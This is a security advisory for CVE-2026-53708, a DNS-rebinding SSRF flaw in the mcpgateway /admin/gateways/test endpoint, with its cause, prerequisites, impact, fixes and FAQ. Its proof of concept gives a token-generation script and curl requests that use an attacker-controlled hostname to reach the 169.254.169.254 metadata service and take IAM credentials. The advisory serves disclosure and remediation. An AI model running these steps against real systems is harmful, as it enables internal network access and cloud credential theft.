CVE-2026-53708: SSRF
Summary
The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.
Details
validategatewaytesturl() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.
The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:
- The validated IP address is never passed to the HTTP client. - Only the original hostname is forwarded, triggering a second independent lookup. - No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.
The configuration options ssrfblockednetworks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrfdnsfailclosed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.
Two independent acknowledgements in the source code
Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validategatewaytesturl):
> "DNS TOCTOU Limitation: This validation resolves DNS at validation time, but > the HTTP client will re-resolve DNS at connection time. An attacker controlling > DNS can return a public IP during validation and a private IP during connection > (DNS rebinding). True mitigation requires pinning the validated IP into the > connection (custom resolver/transport, or IP allowlist check at connect > callback). This is tracked as a known limitation for future improvement."
Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):
> "TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, > but the actual ResilientHttpClient request resolves DNS a third time. An > attacker-controlled DNS server could return a public IP during validation and a > private IP during the actual request. Consider pinning the resolved IP for > outbound requests (custom transport) or caching DNS resolution across > validation and request phases."
The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.
Prerequisites
1. MCPGATEWAYADMINAPIENABLED=true (not the default; must be explicitly enabled by an operator). 2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.
Regarding prerequisite 2: the endpoint is decorated with @requirepermission("gateways.read", allowadminbypass=False). The allowadminbypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.
Proof of Concept
Setup
bash cd /opt/mcp-cf-test MCPGATEWAYADMINAPIENABLED=true \ JWTSECRETKEY=my-test-key-but-now-longer-than-32-bytes \ uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 & sleep 5
Step 1 — Obtain a token for an account with database role assignment
The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platformadmin, which holds the wildcard). Register a user through the Admin UI or API and assign the platformadmin role, then generate a JWT:
python import datetime, jwt, uuid
SECRET = "my-test-key-but-now-longer-than-32-bytes" EMAIL = "admin@example.com" # must have platformadmin role in DB now = datetime.datetime.now(datetime.timezone.utc)
payload = { "sub": EMAIL, "aud": "mcpgateway-api", "iss": "mcpgateway", "jti": str(uuid.uuid4()), "iat": now, "exp": now + datetime.timedelta(hours=1), } print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")
bash TOKEN=$(python3 /tmp/gentoken.py)
Step 2 — Baseline control: direct private IP is rejected
Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:
bash curl -s -w "\nHTTP %{httpcode}\n" \ -X POST http://127.0.0.1:8000/admin/gateways/test \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}' Expected: HTTP 400 — "Invalid gateway URL"
Step 3 — DNS rebinding attack
1. Attacker controls DNS for attacker.example.com with TTL set to 1 second. 2. Initial record: attacker.example.com → 1.2.3.4 (any public IP). 3. Submit the request:
bash curl -s -w "\nHTTP %{httpcode}\n" \ -X POST http://127.0.0.1:8000/admin/gateways/test \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'
4. validategatewaytesturl() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass. 5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254. 6. httpx independently re-resolves the hostname and connects to 169.254.169.254. 7. The gateway returns the IMDS response body to the caller.
Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.
Impact
Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.
Suggested Fix
After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-contextforge-gatewayto a version that resolves this vulnerability.Fixed in 1.0.3 - Upgrade
Upgrade
mcpgatewayto a version that resolves this vulnerability.Patch ICACF-15 - Configuration
Ensure @require_permission("gateways.read", allow_admin_bypass=False) is set for the /admin/gateways/test endpoint so that the platform-admin shortcut cannot bypass database-backed gateways.read role assignment.
mcpgateway/admin.py (endpoint /admin/gateways/test via @require_permission) allow_admin_bypass = False - Configuration
Keep ssrf_blocked_networks enabled so validation time blocking includes 169.254.169.254/32 and other link-local/private ranges.
mcpgateway (SSRF validation controls) ssrf_blocked_networks = enabled - Configuration
Keep ssrf_dns_fail_closed set to True so that DNS failures at validation time fail closed (do not proceed to connection).
mcpgateway (SSRF validation controls) ssrf_dns_fail_closed = True - Compensating control
Pin the outbound connection for the validated gateway request to the already-resolved IP address (not the original hostname) to eliminate the DNS TOCTOU rebinding window (i.e., do not re-resolve DNS at connection time).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-53708?
The severity of CVE-2026-53708 is classified as medium with a score of 6.6.
How do I fix CVE-2026-53708?
To fix CVE-2026-53708, upgrade to the latest version of pip/mcp-contextforge-gateway as per the instructions in the release notes.
What is the impact of CVE-2026-53708?
CVE-2026-53708 exposes a time-of-check to time-of-use (TOCTOU) vulnerability in how URLs are validated, potentially allowing Server-Side Request Forgery (SSRF) attacks.
What types of attacks can exploit CVE-2026-53708?
CVE-2026-53708 can be exploited through SSRF attacks by manipulating the URL validation process during the window between DNS resolution and connection.
Which software is affected by CVE-2026-53708?
The software affected by CVE-2026-53708 is pip/mcp-contextforge-gateway.